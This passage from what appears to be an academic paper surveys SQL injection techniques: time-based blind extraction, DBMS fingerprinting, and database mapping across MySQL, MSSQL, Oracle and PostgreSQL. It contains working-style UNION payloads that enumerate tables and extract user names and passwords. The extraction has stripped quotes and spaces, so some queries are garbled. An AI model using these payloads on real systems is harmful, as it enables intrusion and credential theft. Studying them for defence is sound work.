  40. 40. 2. SQL Injection Lets illustrate this by the following construct, see [41]:DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} asvarbinary(8000))),{POSITION},1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=0:0:+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w Where: • {QUERY} concerns the extraction data, it could be a variable value like legalUSER , function like DB_ID(NAdventureWorks)35, or a SELECT statement, which re- trieves as a result the content of one row and one column; • {POSITION} implements the half byte, which should be retrieved • {SECONDS} represents the wait time multiplier Note that to eliminate the 0x- prefix from the SQL server responses, the intruder should add 2 tothe {POSITION} value. Regarding the waiting time format in {SECONDS}, it can be converted inmilliseconds using the particular DBMS function waitfor delay. Now lets illustrate this construct on an example:DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} asvarbinary(8000))),{POSITION},1));SET @w=0:0:+CAST(((@x+((@x&79)/8)+(@x/64)&15)*2) as char);WAITFOR DELAY @w Please, refer for more information to [41][L25]. Knowing the fact that, the most attacking techniques described heretofore in this paper are ap-plicable for the different Database Management Systems despite the fact that, the DBMSes vary inthe syntax and capabilities aspects, we like to introduce SQL Injection attacks concerning cases, inwhich the attacker even does not have information regarding the environment he attends to attack,this means the intruder does not know, or does not know for sure the type of the DBMS as a productline36 and its version, nor the DBMS implemented structure- amount of columns, column-identifier-s37etc. seconds, see [41]35 http://msdn.microsoft.com/de-de/library/ms186274.aspx36 http://en.wikipedia.org/wiki/List_of_relational_database_management_systems37 http://en.wikipedia.org/wiki/Column-oriented_DBMS 33
  41. 41. 2. SQL InjectionIn such cases he needs specific preparation to be implemented for the successful deployment of thecommemorated attacking scenario, or even for the successful deployment of a totally new attackingapproach, evoked by the results of this preparation. Lets introduce, consequently to this, the next worthwhile SQLIA subclass. We shall adopt the name of these specific SQL injection attacks, concerning the proposed SQLIAspecification in this paper, from [28]. DBMS specific SQLIA Lets introduce at first a representative of this SQL Injection subclass responsible for comprom-ising the product line and version of a specific DBMS. DB Fingerprinting SQL Injection attacks There are two approaches in general to achieve the task of compromising the line and version ofDBMS: forcing the DBMS to produce error messages and using particular DBMS functions as fol-lows, see ( page 547, [28]):DBMS Syntax Result, as an exampleMySQL SELECT version() 4.1.20-nt-log( Windows) SELECT @@version 4.1.20-log(Linux)MSSQL SELECT @@version Microsoft SQL Server 2005- 9.00.3042.00...Oracle SELECT banner FROM v$version Oracle Database 10g Express Edition...PostgreSQL SELECT version() PostgreSQL 8.3.3, compiled by...Table 6: Compromising the DB version , see further [28] As compared with the previously described Inference SQLIA techniques, this attacking methodpresents optimized approach in the timing aspect concerning character extracting working com-pletely blind. The different DBMSes require different syntax in the aspect of strings concatenation, see further [28]: 34
  42. 42. 2. SQL InjectionDBMS Syntax, as an example ResultMySQL SELECT a b abMSSQL SELECT a + b abOracle SELECT a || null FROM dual aPostgreSQL SELECT a || null nullTable 7: DB Fingerprintig,[28] Please, note the difference in the results represented in this Table 7 between the Oracle and Post-greSQL syntax. The importance of knowing the techniques for string concatenation explains the approach tocombine two or more operands in a UNION suffix, which concedes a way to address more DB-columns than the listed in the SELECT statement in the prefix of the UNION injection construct. Another approach extending the usage of string concatenation is the utilization of the particularOracle and MySQL function concat(), see original example at [28]:SELECT name FROM users WHERE id = 1 and 1 = 0 UNIONSELECT concat( name, : , password) FROM users The reader concerned can find more information on this topic at ( page 548, [28]). The next logical step in the progress of the attacks deployment concerns the methods for reveal-ing the structure of the DBMS. DB Mapping Perhaps one of the most interesting approaches concerning the difficult task of revealing theDBMS structure, represents the DB Mapping SQLIA sub2class. It is important to introduce this attacking technique for the matter of a reasonable investigationconcerning the structure of such attacking scenario and the plasticity in the aspiration to adapt suchattacking approach, concerning the specific DBMS, in an optimal manner. The clever intruder in-dents not only to attack successfully the DBMS and to compromise sensitive data on the victimssystem, but to minimize the attacking requests and to avoid randomization of the attacking effort, tooptimize the execution of the attacking scenario in the time aspect and to inhibit the successful tra-cing of the applied intrusion approach as much as possible as well. 35
  43. 43. 2. SQL Injection Note that the intruder can apply one or more SQLIA attacking techniques, already represented inthe paper, to implement the structure of the DB Mapping. Lets represent the essential steps in the deployment of the current SQLIA attacking method. The first step is to analyse the query, which will help the intruder to frame the construct of an op-timized injection, see [28]:http://www.news.info/news.php?id=37 Possible error responses could be produced by the different DBMS product lines, see the next ex-ample Table 8, [28]:DBMS Error messages38MySQL Query failed: You have an error on your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 20MSSQL Unclosed quotation mark after the character string .Oracle ORA-01756: quoted string nt properly implementedPostgreSQL ERROR: unterminated quoted string at or near “ “ at character 37Table 8: DBMS produces error messages caused byunclosed quotation mark( apostrophe),[28] Note that the intruder uses Conditional Responses SQLIA at this point. This assures, that theDBMS is SQLIA prone. As next the attacker tries to determine the amount of the columns related tothe table, which is intended to be compromised. This can be achieved using the next Classic SQLIAtechnique based on UNION attacks, refer to [28]:http://www.news.info/news.php?id=37 UNION SELECT null/* The DBMS will produce an error message, which indicates that there are more than one columnsin the table. The intruder can proceed applying null elements in the UNION suffix SELECT state-ment and thus guess the exact number of the table columns. Note that the attacker can optimize thisnull-elements concatenation to reduce the guessing effort. To achieve this the intruder can apply bounds shrinking methods using the ORDER BY SQLstatement as follows, [28]:/* determining the lower bound*/http://www.news.info/news.php?id=37 ORDER BY 3--38 line and character numbers are example-related here 36
  44. 44. 2. SQL Injection/* determining the upper bound*/http://www.news.info/news.php?id=37 ORDER BY 6-- If the server do not produce an error message again, the exact number of the table columns isidentified. Lets assume the table has 4 columns for example. As next the attacker tries to reveal the column-identifiers, proceeding with a further UNIONSQLIA, [28]:http://www.news.info/news.php?id=37 UNION SELECT test,null,null,null -- Note that null can replace the value of a column element no matter the defined variable type ofthe column-identifier is, though test is from a string type and most probably this should force theserver to produce an error message, because of a variable type conflict, knowing that every table hasan id column-identifier from an integer type. An exception to this rule is the MySQL DBMS,which does not control the strict concatenation of column-identifier types. Repeating the UNIONinjection technique, [28]:http://www.news.info/news.php?id=37 UNION SELECT 1, test,null,null -- The intruder proceed until all column- identifier types are revealed, keeping in mind the fact thatthe sever will not produce an error message at a successful guess. Assuming the attacker has determined exactly the column-identifier types, the following injec-tion query should produce a proper HTML-output, see original example at [28]:http://www.news.info/news.php?id=37 AND 1=0 UNIONSELECT 1,you,are,compromised -- Note that AND 1=0 will suppress any output from a SELECT statement as a UNION prefix.Further more, the columns addressed by you,are and compromised represent those, which datawill be extracted from. The next step describes the part, where the intruder proceeds DB specific. MySQL Mapping As next the intruder tries to determine the DBMS version, applying the partcular MySQL func-tion version() or using @@version, [28]: 37
  45. 45. 2. SQL Injection37 AND 1=0 UNION SELECT null, @@version, null, null -- Further more , the attacker tries to reveal more information regarding the DBMS configurationusing the particular function information_schema() concerning MySQL version 5.1.12 and above, [28]:37 AND 1=0 UNION SELECT null, table_name, null, null FROMinformation_schema.tables WHERE version = 9 /* Note that version = 9 does not respond to the DBMS version, this helps the intruder to determ-ine, whether he is attacking a system table or a user table. To reveal the column-identifier the attacker can utilize the particular functioninformation_schema.columns, [28]:37 AND 1=0 UNION SELECT null, column_name, null, null FROMinformation_schema.columns WHERE table_name = users/* Thus the intruder identifies every column-identifier belonging to the attacked table. Achievingthis the attacker can proceed with the data extraction from the compromised table, as illustrated in [28]:37 AND 1=0 UNION SELECT null, name, password, null FROM users /* MySQL DBMS does not respond to stacked queries implemented in scripts. Regarding the MSSQL version 7.0 and above Mapping we shall mention that the intruder canfollow an analogue scenario like the MySQL Mapping. Oracle Mapping It is important here to note, that the intruder can only apply successfully a UNION technique, ifthe second SELECT statement addresses a table name explicit in the injection query. If the exacttable-identifier is still unknown, a dummy table name could e used as well, [28]:37 AND 1=0 UNION SELECT null, null, null, null FROM dual -- To retrieve the real table name the attacker must compromise the Oracle system table all_tables.Working in an optimized manner the intruder should apply an adequate filter for refining the search.For an instance, if the attacker intends to compromise the table collecting the user data, he could try 38
  46. 46. 2. SQL Injectionfirstly to reveal the user name responsible for the Web-Application login to the DBMS at the time ofthe attack, see [28]:37 AND 1=0 UNION SELECT null, user, null, null FROM dual -- If this requirement is fulfilled, the intruder can proceed with the compromising of all table namescontaining the revealed user name, for example LEGALUSER, refer to original example in [28]:37 AND 1=0 UNION SELECT null, table_name, null, null FROM all_tablesWHERE owner = LEGALUSER -- Note that ORACE DBMS requires all values in system tables to be in capital letters. Other interesting system tables for the attacker could be: sys.tab( column tname),sys.user_tables( column table_name), sys.user_catalog( column table_name) etc, which representlinked tables to the compromised user name, here LEGALUSER. If the intruder reveals the table name collecting the user data, lets assume the table name isusers, he proceeds detecting the column-identifiers to extract the sensitive data. To achieve this hetries to extract the column-identifiers names related to the table users from the linked systemtables: all_tab_columns, all_tab_cols, or sys.user_tab_columns, using as filter criterion the name ofthe compromised table collecting the user data,which is users in this example, see [28]:37 AND 1=0 UNION SELECT null, column_name, null, null FROM all_tab_columnsWHERE table_name = USERS -- Note that concerning the optimized attacking manner, the system tables must be chosen wisely,the attacker attends to extract information from. If the intruder tries to trace the wholeall_tab_columns system table, this effort will cover the filtering of about 45000 table records bydefault. If the attacker succeeds with the extracting of the users column-identifiers, the revealing ofthe sensitive users data can be accomplished as well. Note that Oracle DBMS does not allow the usage of Stacked Queries. PostgreSQL Mapping In this case the intruder deploys generally the attacking scenario in an analogue manner to theprevious described DB Mapping approaches. Conforming the Oracle Mapping, the attacker pro-ceeds with compromising the system table pg_tables, as [28]: 39

×